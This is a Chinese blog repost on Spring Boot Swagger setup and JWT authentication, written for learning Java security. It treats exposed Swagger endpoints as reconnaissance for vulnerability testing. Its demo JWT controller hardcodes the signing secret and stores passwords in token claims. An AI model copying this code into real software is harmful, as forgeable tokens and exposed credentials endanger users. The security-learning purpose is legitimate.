Springboot监控系统——swagger

Swagger是当下比较流行的实时接口文档生成工具。接口文档是当前前后端分离项目中必不可少的工具,在前后端开发之前,后端要先出接口文档,前端根据接口文档来进行项目的开发,双方开发结束后在进行联调测试。

使用

​​​​​​​     1.导入依赖

<--2.9.2版本-->

<dependency>

    <groupId>io.springfox</groupId>

    <artifactId>springfox-swagger2</artifactId>

    <version>2.9.2</version>

</dependency>

<dependency>

    <groupId>io.springfox</groupId>

    <artifactId>springfox-swagger-ui</artifactId>

    <version>2.9.2</version>

</dependency>

<--3.0.0版本-->

<dependency>

  <groupId>io.springfox</groupId>

  <artifactId>springfox-boot-starter</artifactId>

  <version>3.0.0</version>

</dependency>

        2.配置访问

#application.properties

spring.mvc.pathmatch.matching-strategy=ant-path-matcher

#application.yml

spring

  mvc:

    pathmatch:

      matching-strategy: ant_path_matcher

        3.    2.X版本启动需要注释@EnableSwagger2 3版本不需要注释

        4.    2.X访问路径:http://ip:port/swagger-ui.html

            3.X访问路径:http://ip:port/swagger-ui/index.html

 JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

 这接口我们可以看作是信息收集工具,帮我看多更多的接口,我们可以对未授权访问、信息泄露等做安全漏洞的测试(换句话说就是我们看到哪些接口就对哪些接口进行漏洞测试)

我们可以利用postman中的API做自动化测试。

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

 身份验证——JWT

JWT(JSON Web Token)是由服务端用加密算法对信息签名来保证其完整性和不可伪造;Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息;JWT用于身份认证、会话维持等。由三部分组成,header、payload与signature。

导入依赖:

<dependency>

<groupId>com.auth0</groupId>

<artifactId>java-jwt</artifactId>

<version>3.4.0</version>

</dependency>

package cn.xiaodi.testjwt.demos.web;

import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.DecodedJWT;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;


@Controller
public class JwtController {
    //模拟用户的jwt身份创建 数据的jwt加密

    @PostMapping("/jwtcreate")
    @ResponseBody
    public static String main(Integer id,String user,String pass) {
        String jwttoken = JWT.create()
                //设置创建的header部分
                //.withHeader()

                //设置创建的payload部分
                .withClaim("userid", id)
                .withClaim("username", user)
                .withClaim("password", pass)
                //设置时效(JWT过期时间)
                //.withExpiresAt()

                //创建设置的signature部分 算法和密匙
                .sign(Algorithm.HMAC256("xiaodisec"));

        System.out.println(jwttoken);
        return jwttoken;
    }


    //模拟JWT身份的检测 jwt数据解密

    @PostMapping("/jwtcheck")
    @ResponseBody
    public static String  jwtcheck(String jwtdata){
        //String jwtdata="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXNzd29yZCI6ImExMjM0NTYiLCJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiYWRtaW4ifQ.nkMIxHJKyGAHa3aDtTAy5_9j51yWDTQHEL8n-dqE33w";

        //构建解密注册
        JWTVerifier jwt = JWT.require(Algorithm.HMAC256("xiaodisec")).build();

        //解密注册数据
        DecodedJWT verify = jwt.verify(jwtdata);

        //提取注册解密数据 payload部分
        Integer userid = verify.getClaim("userid").asInt();
        String username=verify.getClaim("username").asString();
        String password=verify.getClaim("password").asString();

        System.out.println(userid+username+password);
        return "admin page";


//        if(username.equals("admin")){
//            return "admin";
//        }else {
//            return "gay?";
//        }


        //攻击者要模拟使用xiaodi用户去登录




        //提取header部分
        //verify.getHeader();
        //提取sign签名部分
        //verify.getSignature();



    }

}

注意:signature部分不仅仅与密钥有关,还与用户名相关;所有用户采用同一个密钥,signature部分也都不相同。

项目打包成JAR

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

 对于jar包中是编译后的.class文件,如果我们拿到jar包想要查看源码,可以把jar包解压缩,然后直接使用idea打开即可反编译。文章来源地址https://www.toymoban.com/news/detail-841204.html

到了这里,关于JAVA开发(从安全角度学习)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • java 圆形坐标计算(根据角度和边长计算位置)

    通过三角函数计算 圆形的任意弧形角度都对应一个直角三角形,通过三角函数来计算直角三角形的边长,从而得出每个角度下圆形坐标位置 o 为起始位置, r为半径,求圆形坐标位置 代码实现 设坐标 24,24 半径24 通过计算得出的结果和图形如下图 代码摘自Java 开发之 根据坐标

    2024年02月13日
    浏览(35)
  • Java安全 URLDNS链分析,网络安全开发面试基础

    this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员 那我们去 URLStreamHandler类 当中,查看下 hashCode方法 的代码 protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host pa

    2024年04月23日
    浏览(35)
  • 从安全、开发、产品三个角度反对用refresh_token续期access_token的观点

    access_token: 服务端与客户端通信,有时服务端需要知道客户端的身份,就会用到access_token来用于验证身份。 refresh_token: 但为了保证安全token会设置过期时间,如果直接过期,相当于用户或调用端正在使用产品,突然间就退出登录了,这种产品体验很差,于是有了refresh_toke

    2024年02月04日
    浏览(41)
  • Java在物联网领域的应用非常广泛,涵盖了设备连接、数据处理、应用程序开发、安全性、嵌入式系统开发、消息队列和流处理、机器学习和人工智能以及跨平台和多语言集成等方面

    Java作为一种通用编程语言,在物联网(IoT)领域的应用也非常广泛。以下是一些Java在物联网中的典型应用: 开发物联网应用程序 :Java是一种高级编程语言,具有丰富的库和工具,使得开发物联网应用程序变得容易。Java可以用于开发各种物联网应用程序,如智能家居、智能

    2024年02月03日
    浏览(72)
  • 瑞_Java开发手册_(四)安全规约

    🙊前言:本文章为瑞_系列专栏之《Java开发手册》的安全规约篇。由于博主是从阿里的《Java开发手册》学习到Java的编程规约,所以本系列专栏主要以这本书进行讲解和拓展,有需要的小伙伴可以点击链接下载。本文仅供大家交流、学习及研究使用,禁止用于商业用途,违者

    2024年01月17日
    浏览(46)
  • 码出高效:Java开发手册笔记(线程安全)

        并发与并行的目标都是尽可能快地执行完所有任务。以医生坐诊为例,某个科室有两个专家同时出诊,这就是两个并行任务,其中一个医生,时而问诊,时而查看化验单,然后继续问诊,突然又中断去处理病人的咨询,这就是并发。在并发环境下,由于程序的封闭性全

    2024年02月08日
    浏览(38)
  • JAVA安全学习 Day 1

    JAVA ClassLoader机制 谈起JAVA就不得不谈起他的基本类的加载机制 谈一下我的粗略理解: 我一开始也不理解为什么学习java安全要从一个classloader讲起,似乎有点太基层了,但是学到后面的cc链,才有了更明显的理解,因为只有深入理解了java的classloader机制才会在后面构造cc链的时候

    2024年04月25日
    浏览(28)
  • 阿里巴巴Java开发 单元测试和安全规约

    目录 前言 1.单元测试 2.安全规约 单元测试和安全规约依次分为【 重要 】、【 建议 】、【 参考 】,整理单元测试和安全规约为了更好处理代码中bug,使得代码更加安全。 1.【 重要 】好的单元测试必须遵守 AIR 原则。          说明 :单元测试在线上运行时,感觉像空气

    2024年04月10日
    浏览(54)
  • 开发安全Java应用程序的13条规则((Mark)

    漏洞喜欢隐藏在复杂性中,因此在不牺牲功能的情况下使代码尽可能简单。使用成熟的设计原则(例如DRY)(不要重复),将帮助您编写更易于查看问题的代码。 始终在代码中公开尽可能少的信息。隐藏实施细节支持可维护和安全的代码。这三个技巧将大大有助于编写安全的

    2024年04月14日
    浏览(38)
  • java开发安全之:Password Management: Hardcoded Password

    Overview Hardcoded password 可能会削弱系统安全性,一旦出现安全问题将无法轻易修正。 Details 使用硬编码方式处理密码绝非好方法。这不仅是因为所有项目开发人员都可以使用通过硬编码方式处理的密码,而且还会使解决这一问题变得极其困难。在代码投入使用之后,除非对软件

    2024年01月21日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包